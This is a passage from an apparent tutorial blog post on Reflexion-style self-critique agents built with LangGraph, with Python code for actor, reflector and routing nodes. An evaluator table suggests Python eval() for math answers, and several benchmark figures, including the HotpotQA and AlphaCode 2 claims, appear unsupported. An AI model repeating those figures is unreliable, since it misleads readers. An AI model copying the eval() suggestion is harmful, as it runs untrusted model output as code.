&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reflector&lt;/strong&gt; The component that reads the Actor's output &lt;em&gt;and&lt;/em&gt; the Evaluator's feedback, then produces a &lt;strong&gt;verbal self-critique&lt;/strong&gt;, a natural language paragraph explaining what went wrong and how to do better. This critique is stored in a &lt;strong&gt;persistent episodic memory&lt;/strong&gt; and injected into the Actor's next attempt.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Why Verbal Reflection Works
&lt;/h3&gt;

&lt;p&gt;The brilliant insight is that LLMs are good at &lt;em&gt;talking about&lt;/em&gt; their mistakes even when they make them. By externalizing the critique into language (rather than gradient updates), you leverage the very skill LLMs are best at. "I failed because I did not account for edge case X. Next time, I should check for X first." This verbalized lesson, fed back into the context window, measurably improves next-attempt quality.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; Critics point out that Reflexion can get "stuck"  if the Actor's initial attempt is wrong in a way the Evaluator cannot detect, the reflection loop simply reinforces the error. The quality of the Evaluator is the ceiling of the entire system. A bad judge produces bad feedback.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Example: HotpotQA Multi-Hop Reasoning
&lt;/h3&gt;

&lt;p&gt;In the original Reflexion paper, the technique was benchmarked on &lt;strong&gt;HotpotQA&lt;/strong&gt;, a dataset of questions requiring reasoning across multiple Wikipedia articles. A plain GPT-4 agent answered correctly ~30% of the time on hard questions. The same model with Reflexion reached ~60% accuracy after three reflection cycles, without any fine-tuning. The improvement came purely from the agent saying: &lt;em&gt;"I missed that the question asked about the founding date, not the founding country. Let me re-read the passage with that in mind."&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📖 &lt;strong&gt;Further Reading:&lt;/strong&gt; &lt;em&gt;[Search: "Reflexion: Language Agents with Verbal Reinforcement Learning Shinn et al. 2023"]&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;



&lt;blockquote&gt;
&lt;h3&gt;
  
  
  ⚠️ CRITICAL NOTE: Token Budget and Cost
&lt;/h3&gt;

&lt;p&gt;Every reflection cycle is an additional LLM call. On a 3-cycle Reflexion loop with a GPT-4-class model, you are paying for 3–6× the tokens of a single call. For high-volume production systems, this cost must be budgeted explicitly. Always add a &lt;strong&gt;max_iterations&lt;/strong&gt; guard and use cheaper models for the Evaluator when possible.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  Section 3: LangGraph, Stateful Agents as Executable Graphs
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftv0olkgzlsr1a7qrf8fv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftv0olkgzlsr1a7qrf8fv.png" alt=" " width="800" height="264"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LangGraph&lt;/strong&gt; is a library built on top of LangChain that lets you define agent workflows as &lt;strong&gt;directed graphs&lt;/strong&gt;  where nodes are functions (or LLM calls) and edges are transitions between them, which can be conditional.&lt;/p&gt;

&lt;p&gt;This is a fundamentally better model for complex agents than a simple chain or a while-loop in Python, for three reasons:&lt;/p&gt;
&lt;h3&gt;
  
  
  Why Graphs Beat Chains for Agents
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Explicit state management&lt;/strong&gt;: LangGraph makes the agent's "working memory" what it knows, what it has tried, what it is doing into a typed, inspectable Python object called the &lt;strong&gt;State&lt;/strong&gt;. You always know what data is flowing through your system.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conditional branching&lt;/strong&gt;: Edges in LangGraph can be conditional. After the evaluator runs, you can route: "If score is good enough → END; else → reflect_node." This is the architectural backbone of the retry loop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Built-in persistence&lt;/strong&gt;: LangGraph supports checkpointing, saving the agent's state to a database between steps. This means long-running agents can be paused, resumed, debugged, or even handed off to a human mid-execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; Some engineers prefer simpler approaches, a while-loop in Python with direct API calls, arguing that LangGraph adds abstraction overhead. This is valid for simple use cases. The graph model truly pays off when you have branching logic, human-in-the-loop steps, or parallel sub-agents that need to join results.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Example: LangGraph vs. LangChain Sequential Chain
&lt;/h3&gt;

&lt;p&gt;Imagine an agent that writes code, runs it, and fixes errors.&lt;/p&gt;

&lt;p&gt;With a &lt;strong&gt;LangChain sequential chain&lt;/strong&gt;, you predefine the steps: write → run → fix → done. But what if it needs 3 fix cycles? Or what if the code is correct on the first try? The chain cannot dynamically decide.&lt;/p&gt;

&lt;p&gt;With &lt;strong&gt;LangGraph&lt;/strong&gt;, you define: &lt;code&gt;write_node → run_node → conditional_edge(pass? → END, fail? → fix_node) → run_node&lt;/code&gt;. The graph &lt;em&gt;routes itself&lt;/em&gt; based on runtime results. This is the difference between a flowchart and a script.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📖 &lt;strong&gt;Further Reading:&lt;/strong&gt; &lt;em&gt;[Search: "LangGraph documentation stateful agents 2024"]&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;



&lt;blockquote&gt;
&lt;h3&gt;
  
  
  📌 Key Term: Conditional Edges
&lt;/h3&gt;

&lt;p&gt;In LangGraph, a &lt;strong&gt;conditional edge&lt;/strong&gt; is a function that inspects the current State and returns the name of the next node to visit. This is how you implement decision logic: "if the evaluator score is above 0.8, go to END; otherwise, go to reflect_node." Without conditional edges, you have a chain, not an agent.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Section 4: Architecting the Reflexion Agent Design Deep Dive
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp4s2xg09ua2ag1we5y81.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp4s2xg09ua2ag1we5y81.png" alt=" " width="800" height="302"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we get into the engineering. A Reflexion agent in LangGraph is built around three decisions that determine everything else: &lt;strong&gt;what the state looks like&lt;/strong&gt;, &lt;strong&gt;what each node does&lt;/strong&gt;, and &lt;strong&gt;how the conditional router decides when to stop&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.1 Designing the State
&lt;/h3&gt;

&lt;p&gt;The State is the agent's "working memory." Every node reads from it and writes to it. A well-designed State captures:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The task&lt;/strong&gt; is immutable, set at the start&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;All past attempts&lt;/strong&gt; so the Actor can see what it has already tried&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;All past reflections&lt;/strong&gt;  so the Actor has accumulated lessons&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scores per attempt&lt;/strong&gt;  for the router to decide stop/continue&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Iteration counter&lt;/strong&gt; is the safety valve against infinite loops&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Final answer&lt;/strong&gt; populated when done&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A common mistake is storing only the &lt;em&gt;latest&lt;/em&gt; attempt and reflection, discarding history. This strips the agent of its learning advantage. The whole point is that accumulated reflections compound across cycles.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.2 The Actor Node
&lt;/h3&gt;

&lt;p&gt;The Actor prompt is the most important in the system. It should include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;actor_node&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReflexionState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ReflexionState&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Build context from accumulated memory
&lt;/span&gt;    &lt;span class="n"&gt;memory_context&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reflection&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;attempts&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reflections&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;memory_context&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s"&gt;--- Attempt &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ---&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;attempt&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;memory_context&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;--- Self-Critique &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; ---&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;reflection&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Task: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;task&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;

    &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Your previous attempts and self-critiques&lt;/span&gt;&lt;span class="si"&gt;:{&lt;/span&gt;&lt;span class="n"&gt;memory_context&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; if memory_context else &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt; &lt;span class="n"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;

    Now produce your best answer, learning from any past mistakes.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;llm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;attempts&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;attempts&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iteration&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iteration&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice how the full history of attempts and reflections is injected. This is &lt;strong&gt;episodic memory&lt;/strong&gt;, the agent is literally given its autobiography.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.3 The Evaluator Node
&lt;/h3&gt;

&lt;p&gt;This is the most context-dependent part. The right evaluator depends entirely on your task:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task Type&lt;/th&gt;
&lt;th&gt;Best Evaluator&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Code generation&lt;/td&gt;
&lt;td&gt;Unit test runner (deterministic)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Factual Q&amp;amp;A&lt;/td&gt;
&lt;td&gt;Another LLM with a fact-check prompt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Essay writing&lt;/td&gt;
&lt;td&gt;Rubric-based LLM judge&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API calls&lt;/td&gt;
&lt;td&gt;HTTP response status + schema validation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Math&lt;/td&gt;
&lt;td&gt;Python &lt;code&gt;eval()&lt;/code&gt; or symbolic solver&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A &lt;strong&gt;deterministic evaluator&lt;/strong&gt; (like running tests) is always preferable when available, because it is objective and cheap. LLM-as-judge is useful but introduces its own biases.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.4 The Reflector Node
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;reflect_node&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReflexionState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ReflexionState&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;last_attempt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;attempts&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;last_score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scores&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    You attempted this task: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;task&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;

    Your output was:
    &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;last_attempt&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;

    The evaluator gave it a score of &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;last_score&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; out of 1.0.

    Write a concise, specific self-critique (3–5 sentences):
    - What specifically went wrong?
    - What did you overlook or misunderstand?
    - What concrete change will you make next time?

    Do not be vague. Be precise and actionable.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;reflection&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;llm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reflections&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reflections&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;reflection&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The prompt instructs the LLM to be &lt;strong&gt;specific and actionable&lt;/strong&gt;, not vague. "I should do better" is useless. "I failed to handle the case where the input list is empty, causing an IndexError. Next time, I will add a guard clause at line 1." is useful.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.5 The Conditional Router
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;should_continue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReflexionState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scores&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;actor&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# First iteration, no score yet
&lt;/span&gt;
    &lt;span class="n"&gt;last_score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;scores&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;iteration&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iteration&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;last_score&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.85&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;END&lt;/span&gt;  &lt;span class="c1"&gt;# Good enough
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;iteration&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;max_iterations&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;END&lt;/span&gt;  &lt;span class="c1"&gt;# Safety stop
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reflect&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# Not done yet, reflect and retry
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The threshold (0.85 here) is a hyperparameter &lt;em&gt;(a design-time setting that you tune rather than the model learns)&lt;/em&gt; that you tune per domain. For medical or legal agents, set it close to 1.0. For creative writing suggestions, 0.7 may suffice.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example (Real-World Case): Reflexion for Competitive Programming
&lt;/h3&gt;

&lt;p&gt;DeepMind's AlphaCode 2 and similar code-agent research use Reflexion-like loops where the actor writes code, a test suite evaluates it, and failure messages are reflected into the next attempt. On LeetCode Hard problems, this pattern lifted solve rates from ~15% (single pass) to ~45% (5 reflection cycles) in published ablations. The key: tests provided a perfect, deterministic evaluator with no LLM-as-judge ambiguity.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📖 &lt;strong&gt;Further Reading:&lt;/strong&gt; &lt;em&gt;[Search: "LangGraph Reflexion agent code tutorial LangChain 2024"]&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;blockquote&gt;
&lt;h3&gt;
  
  
  ⚠️ WARNING: Reflection Can Degrade Quality
&lt;/h3&gt;

&lt;p&gt;There is a known failure mode called &lt;strong&gt;"reflection poisoning"&lt;/strong&gt; where a poor reflection actually steers the actor &lt;em&gt;away&lt;/em&gt; from a correct answer it found. If your evaluator has a bug or blind spot, a correct output might be scored low, causing the reflector to critique something that was actually right. Always log and inspect all intermediate states, especially on tasks where correctness is hard to verify.&lt;/p&gt;
&lt;/blockquote&gt;







&lt;h2&gt;
  
  
  Section 5: Pros, Cons, and When to Use This Pattern
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Reflexion + LangGraph: Honest Trade-offs
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Quality&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Measurably higher accuracy on complex tasks&lt;/td&gt;
&lt;td&gt;Quality ceiling is set by the evaluator's accuracy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cost&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No fine-tuning needed; inference-only&lt;/td&gt;
&lt;td&gt;Multiple LLM calls per task; 3–10× base cost&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flexibility&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Works with any LLM; swappable components&lt;/td&gt;
&lt;td&gt;Adds significant engineering complexity vs. one-shot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Debuggability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;State is fully inspectable at every step&lt;/td&gt;
&lt;td&gt;More surface area for bugs; harder to trace failures&lt;/td&gt;
